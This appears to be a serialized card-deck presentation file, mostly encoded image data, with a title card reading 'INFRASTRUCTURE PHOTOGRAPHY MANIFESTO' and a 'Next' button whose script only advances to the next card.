/fv/t//v7///f/zC//////37////////////////////////+//+//////vf/////3v//9/9/9//v+3///f7//+v8/9//3//fvv/xL5P///////v////e+/////////////v/+//9///////8/////v/////////f/v////////u/9//5//f////98S9//e/f///////+///////7///////////////////u/f///v+///f9/////+/3///////O/3v7f////////+g////+////6///////3v///9///////////////////7f/7//////P9+f//+d//f//////f///3/72///////ynhl3++f///////v///v////////////3//////////+5/9///3//v/////P//////////3t/////n/7r9///8J///3////////3/9///v/////////f///////////////6f/f+///7+////f/7//9/9//5vf///tvn/K7/f/7hf/////D//37//8xAB//////+/3///////////////9///7/1//////7/vzj95//2/////z///v/zP+9v7/9vzD//9/78AAH//9////9///////////////////////////////3////f/7//u9/////9+//v7/739n//b////8H/f+////wP/+//////3//////f/////////////+///v/f////7//z//7//8v/9//f7//+u/+4//n///6//3eFP////+z/////9//////////////3v///////+/////f//////v7/3///////7////+/v/79b/v///93k/v//wX////////////////////////////////3////////8//////v////9//f+//vf/+////qe//x///99vfe//8m//3/////////////v////////////////////////mff//////f//9f9//f///97vf+/+jg97//8/78//3P/In////////////////////9////////////////////5//////d//7////v379/7//3/+77T/97/////+f///w1/v/+///////////////////f////////+/////3///3f//f/////5//7/+/1///5//3/n8Nvf/////fv//38Mf//+/7/////////////f////////////////////////////+/77///+/////v7///5393///////3/Rv/3/AX9/5//v///+/////ff//ffv////////////////+////3//v/9///+///f/+/3//691//fGz/+///f33////zt+///+/////////v//3f////////v///////////////3////3///v///36///+/3/c/r9wP///v/f//f/n/8Ke////v///////////v/7//////////////7////////7///7//////////v//93/+/ovv7/////9/9//3///cv8///////f/f+///////////+/////3/////v///++///////v///////33/7/+f7P7+/d6///////33v+/9xJ///////+//v/////3/97////f//////////3//////////7////////+/u////3xrwb9vv////////9///78Tf/////////////7///6///3///////////v////////3////53/3/7/////7/+/TL8il///f///////99v3vSX///9///////////////////7/////////3//////+//7///9///////3/////9+67P73v///f/3////////x1//+9//////v////6/3////////////////////////v////////v////f//////1cL/9//v//93////////+Zf//v/////3/////v//////////////////////////+///f27///////f+////0dNED+3f//////////9//3iX//3//////+///3/f/+//////////////////f///////v///v///////////3/wrzTP5///////////7///5t//t///////f///7//9/////////////////f/3///v/3/7//////////7/3///tONnv9f///9///////+3/6K///+/////3////z+////////////////37///////////+//t/////////v7+f/on//+9v5//t//////////ov//////f///////+/////////////////////////////7////////////////+9f7/v///////f///7b///4T////////////////////////v//////////////////3v///7//////7/f////8d/fv////f////////3//+kf//////////////////////////3/7//////+//////////////////n////////+///////////////////sz/////v/+////////9/////////7/+///////////////////e//////3//////t//7///v//3///////2/f5C///////////////7//////////9//////7////9////v///////f//////7//87/f////////v//////fe//Sv////////3///f////v/////////////////7///////////////////////3//df/t/////+T/////973//kr/9/v/////v//v////////////////////////////////////////////f//+/f/////////z///////v//5G//3////9///////////////////////////9////////////3//////+7///////f///////////////i//+nP/////////////////////////////////////7////9//////////////////+v+7////////////v/7///sb////////////////3//////////////////////////////////////+////9/3////////////////////4G///+///////v/////9//////////////////////////////3///////3///////v///////9/////d9///+k//v//X/////////////////////////////f/////////////3/////////////N7/////////vf//+f////kr/+/3/////////////////////////////9////+9//////////+///3////ve//f//////////////7//9/4s//////////7//////+/v////////////////3///////////3////v/////////v////9/////9////v///+p/////f/////+////////////////////////////////v////////////9/////y////////////////+///p3////3////9//////////////////////////9//////////+/////////+////+///////////////3+//54y/+/////////7////////v//////////////9///9///7//9////////v///////v//////////3////+///eIv7//////////////////3//////////f////f///////////9///////////////////3///7/////f/v//3gz//////////////3/7///////////////////3///////7/////v////+///////////////+//////3/v//6V//////////////9/////////////////////////////////v/3/////////////////////7/9////59//+Vf//////////////////9/////////////7///////3///////////////////////v//////////////9///hX////9/////////////////////////////+///9/////////f//////////////////////+////////7/vqv///vv///v////+/////v/////////9//////////////////3/////////f///////////////7////////+nP////////////////v///////////////////7///v///////3///////////3////9////////////3////hf////////////////////////9////////////f//7//////+//////////////////////////vv/9/////6j//+/////////////////////////////+//////////////////////////////////////////////7///+nP///9/////////////f////////f///////////////////////////////////////////////////+////G7///v////7//////////////////////////////////////+//////////////////////////////f////3t/////////9/////////////////////////////7//////////////////////////////////3v//9/3///nf//////////////////+////9////////////////9/////////////////////////////////99/7//f//jv////////////////////////////////////////////++/////////////////////////////f//7/77/85/////////////////////////////////////////////v//////////////////////////////////++/+6f///////////////////////////////////////////////7////////////////////f//////////3/+/z////////////////////////////////////////////////////////3/////////////////////////n/m3+///v////////v+///////////////////////////9///////////3///////////////////////fu//+/fv////////////////////3////////////////////////////////////////////////////////f/+//913//////////////7///////////////f/////////9////////////////3///////////////////////99+z//////////////+/////////////////////////////////v//////////////////////////f////////M3+//////////////////////////////9/////////////3//////f/////////////////////////3f///zf/////////////////////////7/////+/7/9///////////////////////////////////f//7////////8Sff///////////////////////+/////////////+//////////////9///////////7//////////f///33/c////////////////7////////////7//////////////////3///////////////////////////////////43/////9///////////////////////////////3////////v/////////////////////////////////5n/6P////////v/////////7/////////////////////////////////////////////////////////////////y/+//9///////////////////////////////3///P///////v7/////////////7/////////////////5//zP///9////////////////////////////f///////////////+/////////////+/////////////////3//8ef///////+7///5/////////v///////9//////7/////////////v///3/////////////+//////////v//nP///////////7//v/////////////////////////////////////////////////////////////////7//3d//3//////7///////f///////////////////7+////////7////////v////3/////////////////////9Lf//3///////+//////////////////7////v////////////////f///////////////////////////9f//Wn//////////////////////////////////////////9////////////////////////////////////3//vyd////////////3/////////////////////////v/////////////////////////////////+///////v//8rf////////f//9/////////////////////////////9/////////////////////////////////////////q3////////////////////////////////f////////////////////3///////////////////////3/3fn/7N/////////////////////////////////////7+//7//+/////////////7////////////////////////9df/////3////////////////////////////////v////+/////////////+/////////////////////79//Zf/////////////////////////////////////9///f/////////////////////////////////////////z3/////////////////////////////v/////////////////////////////////////7/////////////v/8T//////////////////////////////////3////////////////////////////f///////7////////////Rv//////////////////////////////v/f/////////////////////////f///////////////////3/3//6n//////f/////////////////////v///+///3////3///3/////////////////////9/+/3/////v/f/f++7v/v////////v///////////P///+7v3//9/////////////////////9/////////////////////9////d/Vr//////////////////////97///////v////v/////9/////////////////////////////////d/f////7u///////////////////////f////////3//////+///+////2//////////////////+b//v///+8//f//fapv//////////v//////////////////5v9///1///////////f//////+/////////9//93/f///////v///fr////f//////7////////////v///////3/////7//+3/////////////////////////39/v////////////+7//9///////7/v///////////////v+f7v///zf/7////7/////////////7//+////1/7/vbv//+6/9////+2////v/////////////////////////7f3//395//////83//f////+3//f/////////7t/r3//////d////+e/////////////////////f//////3/7vf////X3/7////f//+37/v+3/91//////////9/b/9////+f9//7/ts///9///////////////////////3//v//f//9/+9////9//+/9////+//uv///9///+W//P5f////f/////+////f//3///////////////3////+//92/////r/99/v/5//+7+9/f7v/+7v3//1/v///5ffv+//////2///97+//9/////////+/////////////////+99///v7tu////v////v3/9/n7vt///7//9/v23/dLv///9/n9///zvv//f///////////////v/7/9///732/l/f//6Z/7d///vf//3/fm//tbufT//7v/e3/++HZb+///f/7v///f3/////////f///f/////3f///////n3/v7///7d/v5//97f//797/f//W7rb5/+/Pfv/8t+9ze//////vP//dnf/////++//////ff////8///////dv7d/////237W93//7/+77/7t//favTf/////evf/pybb//////9/+6/+t///f//3b//f/////////////7/777/nfP//9bP/V7//8z//zf8dvzvy3/nf///e83dv9bt6+vv/5//77////v//////3/v+/3/////////+/7////r//s/f//XvvczO//7+//e39+3//713zvv9P+Z3f//93Lv///////////n//////f///7X/v///////////f///b+vfv//33+N+e3/b+/+/2s1u1e/lvbfsf///3b7qh7e/////5/+7////f/////3/9/LX///////7v///3/fw==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[281,126],&#34;pos&#34;:[22,176],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;align&#34;:&#34;center&#34;,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;INFRASTRUCTURE\nPHOTOGRAPHY\nMANIFESTO&#34;],&#34;font&#34;:[&#34;&#34;,&#34;olympiad_title&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;&#xA;{script:home.0}&#xA;on click do&#xA;  go[&#34;Next&#34; &#34;SlideLeft&#34;]&#xA;end&#xA;{end}&#xA;&#xA;{card:card1}&#xA;image:&#34;%%IMG0AgABVn//9//3ff///////RP////9d/9nv/v//v/r////92ZnIcHgQ/nhAAAmH////TxvYAAAAAAAAAAAAAAAAAAAPwD///f//r9///////wf////31////v5//78+/8///djf4NCwFf6oIAAG2/9a3XXP4gAAAAAAAAAAAAAAAAAAB8A///3///b3/////+9j/////9//+f7jf//5ub////Ywh5AYAABv3/AAA/b/ux/4MpkAAAAAAHgAAAAAAAAAAAPgP//7///nv///////8/z///////u/6P/v/P4N/X/xMD/oGAAh93fkAAHO1v/f6/uUgAAAAAAMAAAAAAAAAAAB8D//+///m//f//////v///////7wtZ3v//4+Af///2BP/jwAIZ//gAAv89v/t3/Z1YAAAAAAIAAAAAAAAAAAAfg///f//+/h///////////////+6L3pvf/6OgH//roghvukACE728IAJ/nv/738xe2AAAAAALgAAAAAAAAAAAD4P///////p/7//////97//////AE+O09P6gkD7NzcAQCv7wBAwEfBAADff303e8r7QAAAAAI8AAAAAAAAAAAAfj//+////+///////f/X//////593eAn/+wOBpbYyEII74YAQgBFiIAP/9l8Q3/AsUAAAAAB7AAAAAAAAAAAAD4v//f///3ff/////////v///f7t/9wT//gGi9XSGwECX/8AEQAa5BAJ////4/foKQAAAAAAWoAAAAAAAAAAAAfP//3///+////f//d//v/////+//vcf7/aAAfE0jcCATfuQBEABBh4Cbf85eN3vwgABAAAAifAAAAAAAAAAAAHz7/////+59/H///////////n/7P4jR//30APdGE8qAABv8QiAAQHZAFb3rWB/vcAgAAAAAJsAAAAAAAAAAAAA/+//v///3//n/f///////////g/8LWf//2ICV8jqVAAAD9EIkAHB7IBa+uXgfv/gAACAAAdzgAAAAAAAAAAAAH///////9/7//////////////9f/j/n///4BF/kuDgDABHhCYaD/uhDs/77/G5vsMAAQAAX94AAAAAAAAAAAAA///7///////k//////////7///+p//f//9Ayd//ZABQBZ6Qh6rn+4Mf/f1y///P7lAAAAP9/AAAAAAAAAAAAAH///////7b/6P9////////+9//7qv/n///gYlF76wAYAAegK+8H/6L7o27f/v7dPLBAAABr+4AAAAAAAAAAAAB///n////+////f///////////zzT/+///oEB2K+8ABgABEG//x/fAPm38P3W+/9RHwIgAm3/gAAAAAAAAAAAAPf3//////Hv/+H/////////3//1l//3//4CA2TVeDOUAARBbjv/+SDW9/fvP7XzMI0AAAKf74AAAAAAAAAAAAB757////7////p//////////7lf7X/9cf8BAAnAiP/zQAMKV/P78kG99nvumf/+5uhHxsEOjzAAAAAAAAAAAAAO7/3///3////0f/////////w5X+wn//j/gwBiQJn/+8AAC35/9XMA7ef/+2f//SKvfaPB8K8AAAAAAAAAAAAAD8/X///+///9/P/////////8Yf/8p////4IAggCh//uAAAru//34gPe537z23+45//p/5vG9gAAAAAAAAAAAAA8f9///+/////7//////////DPv/s///f+GAPCI4/9/QALC7//72AA3b1//1n2Ke3e+b1PyB4CAAAAAAAAAAAAP3v////////////////////w0cv/7/////ACgifv7/+APqfn+9/+Aaen7v/+eD7qd7fpL2YGAAAAAAAAAAAAAD/v//////////v/2////////FPdf+f////wBIAC7/X3QCfCb33/9QE5/7v//P4/g7///p7uEkEAAAAAAAAAAAA37X////3///75/////////7n2/F3//////gAARI+//QAP9//Z/8yt2///t/8D/+L/3/7uVBAAAAAAAAAAAAAAP/33///////+Pb/v///////24HUZ9/////8WAsif/94BP/d+7/9wU07N35//AN/6f/+9kHQgAAAAAAAAAAAAAD9+v///////////7///////+CM+B////7///IAb///+Af/9b+//ID3r7//++BA3+NT27sAcAAAAAAAAAAAAAAA73//////////99v///////75Q/g////////wK/////gY/7Obf//s/P7+//9AAPP//9+gENEAAAAAAAAAAAAAAPv9////f////f1/b//////978C+W3//////8Ff77//aHv2xnX/f8/lf///PwADT55/+YBEGAAAAAAAAAAAAAAD/+////7/7/////3//////9D/gv/f///////iP6////wX+tfd/d8fnbXv/4cEALf/H/8BeOAAAAAAAAAAAAAAAe+79P////////ff///////x3eUfv//////+JD5/7//8D/2Ej9//ju73/9L0N+wn//f/7tO2gAAAAAAAAAAAAAC/u+////////vv3///////8H/8f7////7/9+R8LU///j/9mN/+Irv/1//+WB/6Fv/////zfgAAAAAAAAAAAAAA/m7P//////////////////tsvN//3/////egyH3//6yP8YPzJ//vJv3fvFjzFhZ///AGvZ4AAAAAAAAAAAAAAfzv////v/////++////3///n7/9///////wp6Av/v7/X/EDPfndvfun//n6//dA///4Ad2zAAAAAAAAAAAAAAH/v4//////////3/////////aR///t5////7wH8X//enP5v+/fd/ff/uz/fP+sSf3/uB2bwAAAAAAAAAAAAAAB97cf/////////33////+///0oe7/37////j8HJR///47jvrzd35+9nu/h9d/pzv//1AGPwAQAAAAAAAAAAAAA+Nff///f///+/7f///////9+WB8P//P///5/uAAf///ufvPn33b27/f9/7//8gv/v7oP7/AAQAAAAAAAAAAAAPP3f//////////+///////799A/H//3////f/4BH//729/ff3e//ft9t77s//YD9/0vNv8wAAAAAAAAAAAAAAD/7xv//7v///93f///////3ze1fef8+/////P74Xn/8n+zdtn3629/3777/9mPAffcf/4gAAAAAAAAAAAAAAAAyl5X//w/////9////////+/fznz//+f//////+Hs/5/m/t3vPP77zfbv329/bQHfuH//yAIAAAAAAAAAAAAAAMJ83///////97/////////3+/f2///2////z/5D//jtvtvvPu/dvv99+ff77/Z/vfj/7/gBAAAAAAAAAAAAAACTeO//e////+ft/v//////n/e////+/////+/GRv/Pu/vfO/Pu9+e3z39+3vu+3nf5P7rrAAAAQAAAAAAAAAAAFbW+f//f//+h//////////rms3//////////8di8/9tPdfbfO779/fvf2/e97/R//3/3/QAQAAAAAAAAAAAAAG+wn5/8/3//D//////////P/vP2//z/////s+H6T7N3fffffftvv29+9v+9739/3//v9/0AAQAIAAAAAAAAAACe8/+6/33/v1v//x////9//r77z////////v/jb7u97fbeec3Pfe/7372373v/79P///HTAAAAQAAAAAAAAAAA/0cY3/+//99f7/t/////f/7/98/f////////b/3u72+bu+/+/d95vvPv/f/f//t9/7f6YYAAAAAAAAAAAAAAAPtoLF/+7/+/ae//3////v6//z21p/7//////f3edu7a/2//87fb3++/+2//9///7z/+aCAAAAAQAAAAAAAAAAD52BLP/zf//+v/////////77A0p4/+///////+8927/u3///92fv/5/////////bvb2sh8IAAAQAAAAAAAAAAA+2BTG/3//v/r//f/////e/7QP5/P///////3e7/f2ze7///93ef//3/+3//f///+7zuAeuwAAEAAAAAAAAAAAP8g+8u/f//P98///////+/8yD9j//f//////z2tc373/////u+9///////////7W7BmSD3GIAEEAAAAAAAAAAB39j813//77//f+/3////n3OAD5//5////3/7nff9u3/////u7v//7//+//+/zf+/8e5BucsAEAAAAAAAAAAAAKdy/3+///Pn/v/////////D5EW/v/v/////7/t+d7f//////7e///v/////7/P793/+4HN3AEIAAAAAAAAAAALN9f8/zf/z//7/3///////ftx///4//////9zvm57///+7v/X5//////3////z/t3J/+De8QMCAAAAAAAAAAADl9mff//vd//4/9vf/////3f8P///+///3/tntvf7////r//9v2//9//////f2Pe/vm/4f9+IAAAAAAAAAAAAA9b7/lf7r+b5+//v1//////+///////////9v3/t////+7v/769/6////v//9/H96/a//f3uYAEAAAAAAAAAAAP//3+5//98//S/38r/////r/7///////f++ztpv/////+7v/t53+97//+//7//73523/3++wAAAAAAAAAAAAAD+b3/fvvvYP/3P/vv/////7/ev/v//////+zN73f//13/u/393/f////////7//vd22rf894QCAAAAAAAAAAAA/6Z+X+7n7G3+b9/rf+///x/EL////3////b739v//df/+//7/a///b//b//b//e9/tsv52cBAQAAAAAAAAAAAP/n/5v39f78f//Z/t/n////xP/////////UzuZ7//13/+vv/pu7//+///P//3/d77dtd/OEOQkAAAAAAAAAAAD//Pe1+//u3P/f9+b//////wMH////83//t2c/7/u/337/7v/2/f/+//7f/bfe/3r1t5f+AFcIAAAAAAAAAAAA//y+59/6hxz9//Ph//////8CB+///93v/225+b/7/d9/+//7d89/78/7/b/997bfvtuP/+BWAAAAAAAAAAAAAP//63vf+wMX/t/54X9f////hgBH///9v/1Mr8+3/73//++//t37v73//2/u37399e7ax//zDwQAAAAAAAAAAAD//9bd/74CB9//78H/n////4wAT3///H/1s9t+9/v9d///7/7+fu33tt37e/b/b297btP//egAAAAAAAAAAAAA///+d/vgBA/fv5fI/v////+4AC////9/9r5W893733/37u77s8//f//3v99/+/v7v22h37b6EAAAAAAAAAAAAP///zD/oAAHgv+/gP/////74AAH///f/9rLdt53/73//27//7/7d9t7fu3322++3u23qBf/7AAAAAAAAAAAAAD///8wHsAAD4T///j//////gAAAv33//crc5vf7/+9/f/7v+3tv93/39v/ff/+79/ttskv//5gAA7negAAAAAA////RD8AAAevP/++3/15/fUAAAH7//3+7Zzrc7v7/3/f7//7fbb/bf3/d99tv/tzf23Qh//7oAAI75wAAAAAAP///0J3AAIP31/vN7+Yff/8AAAHd//d/bbtrd7f/73/fv//vtfvt/9vbd33/+3f/3Pbdg///9AAC/KAAAAAAAD////hfwBCz/et/hn/4D/d8AAADLf///MzNrd93f+993///ef2e/23+///fbf//b3e29hHnb/wAACVMAAAAAAA////wH2Yff+/n/ff//0OzZAAABj//8+t3dP7ref7/93//vd9v97f/b+2///////v32z9I7/6fABqE5QAAAAAAP////53/3dfm9/3///7z4rgmARg///+nMzf/u8///3f//e+3tn39t//////////+3dv/yC//v8ALgH8AAAAAAD////898B3/+3/r//7/48a7+gDwX///7NzN/33+/+///7drevvPb///////////9/9s3+I////APyYHgAAAAAA//////dAv3+137//2f//vfrgA/N///9vN9//PNv+///u3fd/P+/t///////////9u73/yX7//gD/TgoAAAAAAP/////2QB9/d79//4r/36n/AB+h///9rNzP/+/f///7u/d+1vL7f////////////+7N7+Qf//4AflfgAAAAAAD//////h6GfPb///8Ar/24/8AOj///62vPf/7bd///vvc9y/vfn9////////////t/dvvyD//8AZsFgAAAAAAA///////iAv5n//b/gA/9vfz4LCf///ZzP77/3fv/++dt7/+/ffb/////////////29vf+SfudwIgDkAAAAAAAP///////oP9eI7/6sED/Ij4WCgr///1nP/Nv3ee/7t93vb/7e9/v////////////v7bdf5D35wOhC4AAAAAAAD//////9+Cf/f///P8hfwALDQQB3//290f/O3297vu3tu///7rzf////////////+3bf3/EM/6+MACAAAAAAAA//////83pv/3/+Hjv4X+ADwVIC///6pnLvv/P/3ubue/////vv9//////////////bbv/5CdJ+eYJgPgggAAAP///////Yf/3v3+Y7/hvAA2PGAd//ttsmdtu+1Pd7u9/////3d3/////////////2+2+//kJgP/nfuBwAAAAAD///////wR/29//Pm/wboAEgRAA/763f/3P/u3e933///////d3f/////////////723f/8QIf3fm/z/oAAAAA///////8Efib/v7/H1/8AAAEhArf+zP99//2+/t7Xf//////++//////////////vtt///kh//fP//9dzAAAAP///////6vB+n34fw9EfhgAAYEjJ/vf/fff7Z7fb////////267/////////////++27//8IH/zm/7/z3AAAAD////////fw7/f+B+MgH4YAAEBU/fsz/+za9v3be3////////v9/////////////97tv///wj//k4//7p4AAAA/////////5j/fvYMCGf2CAQDAf//3z//sWpzbe+/////////u3f//////////////tt3//+C//9I91/39AAAAP/////////t/mPQDQDH8gwAA1L//7////u7r3u6//////////2////////////9/9/bd///5H/+QOt/u5AAAAD/////////jf7/4MEwh9AEAAKH//9/n/39za3e7//////////X7f////8/////3T/3bd+//+F//Q/8u9+GAAAA/////////5+T9+gCBfP4AhAWD//+//39/fV2123/////////vt///37/P////dA/ve2////wH/3/dj//goAAAP////////945/fAAABk/A8Ath///f/7//03U73f/////////+/3/9B5/H///7QAP/+29+///g9+302Bz6AAAAD/////////hk7/ZwCAXvA/+IaP//t/2/z22t/t3//////////5vf/3/fw///aAAD/e2397//6XzHv7A6LAAAAA/////////8/c/cUDuADwPP4WC//29//7N97Zd3//////////v7v/9/fqP/+wAAA/99t/3///M8wegAG8gAAAAP/////////1/f+QAewGeHTnRv//7e3/+5lnb3dv/////////+bv/+T18n/7gAAhP73tn7b//5Gk/8AANAAAAAD//////////Hu7sAFYCd9/45///9vN3/bv/2fd////////////7//2vX4dgEAiAD/vbff/v//ww+PgA4wAAAAA//////////+9v6AD3AnGfeH3//+2sd/2Y77Z3b//////////ubv//z3u3AAhAAQ/+95/bf//8A/v4AOmAAAAAP///////////fvf1vwA7P3g////t7jn3//u3ve//////////++///887j4AEARAP77zu+3///hf/eAAIgAAAAD//////////9n3n/baAP//8X///2m4uW/9/7c8///////////u7f/+/f4+JAghEL/vva+/f778F+sgBBAAAAAA///////////33nM/iAGD//B5//7P772////17///////////u+//4X1//gAGAAH/++7752/v/h/64AAAAAAAAP//////////+8/9+wMBgeb4////tv9mz////et///////////27//f///5AggA//77e393//z0F61AAAAAAAAD///////////7vvvhBARF+/D///bb+22////t/3//////////Pf//////+EgGD///v87/7n7fPhcdwAAAAAAAA////////////n/5iaIEAG/4///1p/bZ37//7nP//////////+9f//////gAQ////+29vu3/v/8GCSAAAAAAAAP///////////+5/B6BiAAX//P//Tydnn/v7/ve//////////779//////9IT////7/b2+9v+7fga4ADdAAAAAD/////////////M7/wAgAB/971+vb7c+//7f/3///////////Xu///////g//////t9t/b/97L8mxQ8WUAAAAA/////////////xD/+AwAAf7d1/qzTP9/9/b7PP///////////e///////////////22/9p/3+fg5o55tgAAAAP////////////9D9/gMAAA////7nd2////7fu+////////23+99/////////////7fbd7bv99n8Ic9thwAAAAD/////////////RP34AgAj/7//u203Z//3+3/7///////+3/f73//////////////9/tvd793ufgA95vaAAAAA/////////////8m9UEWAAf////pr5v//3/b9tn//////+/s/3vP/////////////32b99z/96T5AX+/6gAAAAP/////////////nvhAAwAH//+v7trq/++/9v9///f///99/7/e//3////////////f7b9vf73mfAH+v8AAAAAD/////////////944AAGAH//9v/bWv/+79/f73v/3///33/+v97//////////////9u2/6Z/Pub5D6F5QAAAAA///////////////8AAAcA////f2db/+29/t/uf/////3///733v/////////////3++3/7/+9M/h/BvcAAAAAP///////////////CAIDgP//9/663/+2//7f29//f//3///3ffe//////////////75vf/f77WT5GWfCgAAAAD//////////////2QACAMD////+zu/+29t/f333/3//////+f99//////////////7Pt//9/n8c/AEB4IAAAAA///////////////eDBEBgf////3W/+3t/36/nf/9//7////73z3/////////////287X////fk36BAOgAAAAAP///////////////Q/6AOH//+x91/7dtu9+/v5//f//////7fbv//////////////Zr99v/7/Wb/gABQAAAAAD///////////////4LfkA/3//3/nv+1ttv/3/n3////f///+37+//////////////27739f/m0o/5AAUAAAAAA////////////////C////E//f/tP+3bbet9/ff/9///////z31//////////////+5mv52///Lc/EAEgAAAAAP///////////////wu4AA7P///73+3vbr7//d9//f/v//////f2///////////////37v+/9vZT/4AEEAAAAAD////////////////B+AAH/9/t3Lf3Oe3Psz+z3/3/+////+f87///////////////5nbZs/72z7/gBAAAAAAA////////////////4L/+A//7//9v2963b9P+/v////v////z37v/////////////+/ud93/7uiuv5AAAAAAAAP////////////////B4BoJ/+//7f9rXtr3ff9u//f/v//////e////////////////b7/bv+/uz7/EAAAAAAAD/////////////////5AACP/73+Z923d6/Z799//3//f///+/7bf//////////////7PP7t/7eT3P4MAAAAAAA/////////////////7DDAg//+/7/t1Z7+3+Pp3///9v////v3vv//////////////+8+7b/39kv9/gAAAAAAAP/////////////////gQQA///f7f7nj/d/fff/f/f/7////9/e////////////////zz/bf/Xaznf6AAAAAAAD/////////////////3uP8P//f237Pvb2/0396//3/7/////f95///////////////3Pt7c/97J/5/IAAAAAAA//////////////////t8////z/2+/tzP/r3/r7////3////v333//////////////7dv72/321tf34AAAAAAAP///////////////////mCv/f/1vzN3W//v/e3//f/n////7/Pf//////////////uzbvnf/P9Lz2/QAAANAAD//////////////////3/59/1v9v/dtfb/+/9/f/3///////f+9v//////////////3Nt/tf+5Nbe/5AAACYAA////////////////////7ff///b83bz9+///t9////n////337//////////////99e3du/7/5XL6/AAKwIAAP/////////////////////f///7f2dvv3/W/vn//f/P////7/Xr///////////////27ft7/ttJye/6ACf4wAD/////////////////////////9327a29/8b/Pf/3//////+/3fv//////////////7N/7n/77b+z5/IB9wKAA//////////////////////////X9u7tf/+29/9////n////339////////////////tzfvX/vSWnf34Mf+YAAP///////////////////7////+9vszd3+/v/zb////v////9/vz///////////////bb3fv+92Z8T2+Rl/hAAD////////////////////////7dv73Zv/99//+//3//////+/u////////////////+735b/9/S8zf/5O9PwAA////////////////////97f//3t9m3s9+7/+27/9/+v////v//3//////////////+zn/7n97Wfmn0/Dqv4AAP/////////////////////X//97fe2Zvv+///f////v////398v///////////////3e37///2Z6mf/yPP+AYD/////////////////////////7f5s5/2+9/9t3////f///9fZ7///////////////95//lv7/m9mb6+B/yIQA/////////////////////v///mX/m3/89///v3////3///932z3///////////////nm//37nuXmk+35PsBuYP////////////////////////7ufbNf/vP//ff//f/v////v9bf///////////////te////32V6mT+/BHw8mD/////////////////////+///6/ztlPn///99v///+///+s/W3//////////////79n2//v39kum5e/yZ4AoQ//////////////////////z///t/Ofd8zX//3v////7//7t/2b3///////////////bd8///t+z2jn2+BsArQP/////////////////////9///2/c5NX73v/vPf/f/v//bN/89v///////////+///5t77//v+J+mMe34ND7cD//////////////////////9//9v1jb//97/+/f///+3+29//U3//////////////77b7+3/9u2+90z+/Dgv/Y//////////////////////8P/+3/Obf/////7f///v/bbbf/3b3///////////////zb/dv9/tL+lt8/yYN/2P//////////////////////z//tfNt//7f//v+//f/t3dt//9tv///////////+///2b72//5/k+0oj9+Def97////////////////////////P93/ae511//+2/////3d////Tb//////////////7+7X/tf7+3f/rrfX0Ov/R////////////////////////zvX7Nt63/////////v//////3b///////////////+zd/u3/7tN26WX8+R/+z/////////////////////////zt/ORfuPf//22//f/v/////929//////////////39W37v/b/c/2xSe3wf++v////////////////////////97n+d19/////////////////W7//////////////7+27/Ov+2xm/Xmv5+j/zz////////////////////////9LP82zXtf5/+/5///v//////29////////////////q7v/b+/+nr+Sk/nyPHiv/////////////////////////9/mbN/3/3//7//f/v/////97f//////////////3+u73f/99rc27nHS+C3qL/////////////////////////7Xu06nfP3/+3///////////e/f/////////////79szfuf93yvX+NN9n0cgC/////////////////////////+99tzsri////f///v//////27///////////////vzf3+9/32zs+0zPm+TeWP/////////////////////////z/Ul85/tn/s1//f///9v//9/v////////////////M39+/vvlcz/TPqfwSHj//////////////////////////P5/X7//9//3////////f///fv/////////////59t3/2/+vs3me9I+k+igA/////////////////////////+9+xEfP93//tv///v//v/f/+/////////////////zNn/9//2q826bPbfyAAP/////////////////////////7e3e//5zP/tr//f///////9/9//////////////7/Nv///3dsszf6Z8k6AED///////////////////////////0z//v7N//b////7//////d//+////////////7+27////f5b1n/Teab0AA///////////////////////////9md9789//tv///v//+/f/////v/////////////5L3f//23J1me2XZr+QQP///////////////////////////th3z3zX/u3//////////8/t/4////////////z/e39//39tucr6z8mfkAD///////////////////////////5nP79dN//b////////3/31//+v////////////+y3O2//t5Lpqf6uZU+QA///////////////////////////5uY/219//t//9/v//3/f/7d//j////////////37O/77/v7b6Vr3T5nv0AP///////////////////////////5lj+/5n/u3///7///f//+/t/57///////////3/du2nv/eye1mfV6yO/ADv//////////////////////////7QfPuzt7/b////////7/3tv/+u/////////////xdvff996xmcb+ujtvmA////////////////////////////7o3O79v/t///////33//7vf/jz///////////vvdv1t/27ncp0/72lW+AP///////////////////////////+km7//7/7f///7///f3++/f/59f////////////Te7O//+0XmGT39ndvmD////////////////////////////5H7u5J//f///+///+///t9v+uX////////////2Z+s7+393mc9ffmLn+Q/////////////////////////////f/b7ff9/////////9//7vf/ryf//////////f+z/zW//bKdpsz/pstviP//////////////////////////////z9db/7e////////3/+vf/88l////////////m29M/++6vGozbdmZ7+T/////////////////////////////k39f+/+f///+///+v/+vd//fWf/////////++c7u21++9X9LVn9pZmvk//////////////////////////////We+a////////f/+///7fd//xL/////////7/+zv7N/99VbNNmf5mza+f/////////////////////////////87+63v/+/////////3+/f//8mf/////////3/tvcs393bP7WNL7aTXvn//////////////////////////////2szt/+/////+////v6+9///ab///////////Zt3zb//+N/LM2bptnN9//////////////////////////////9f3M+//////3////v/7vd//0m/////////fv/Lb/N/7u7d6m2b62WbPv//////////////////////////////nm7zv++///////+//a////////////////7/Nvv6f7v6PfTM2exZmy///////////////////////////////+ezPP+//////v/7//3t77////////////3v/7Wb/7//26x9k2blmm7v///////////////////////////////9t2d//3/////////272/////////////3//7N9//f3drOnnUs9uaTd////////////////////////////////azbfduf/////////q+3d///////////37//mXX///f7Xp9M0/JNmXv///////////////////////////////7LW7//f////////vut9////////////f7//rNd///+2b5n2trts638////////////////////////////////dmz/t/////////e671/e////////3be///+n2+//t+zuS+Ms9ba7f////////////////////////////////9W3f7////////957uvff///////v///9+//mbpzf/3uXpn9J9pM+3/////////////////////////////////723/vf//////d33zO7/vf////////7v2//tW+/d/be16kfdlzaz3/////////////////////////////////+m29+//////+9/fXb2/ve3////////vv///F9b7///WeZr5b9bP1//////////////////////////////////+1v7+//////77d9ut+//////////+/f///uV3/P+32ZkmfZnSc93//////////////////////////////////nv/v//////3vd77Pt73v////////992//43bb8/7bm+ZV+T2zRL//////////////////////////////////+s/u7//////++/rbO/3vf///////9/////E9r//3/2eZlP7e2d6///////////////////////////////////t/f+//////36/3+/f3///////////dv//czez+/b1t6Jb+2ky2////////////////////////////////////f+3///////d93Ttt372////////+//t/8n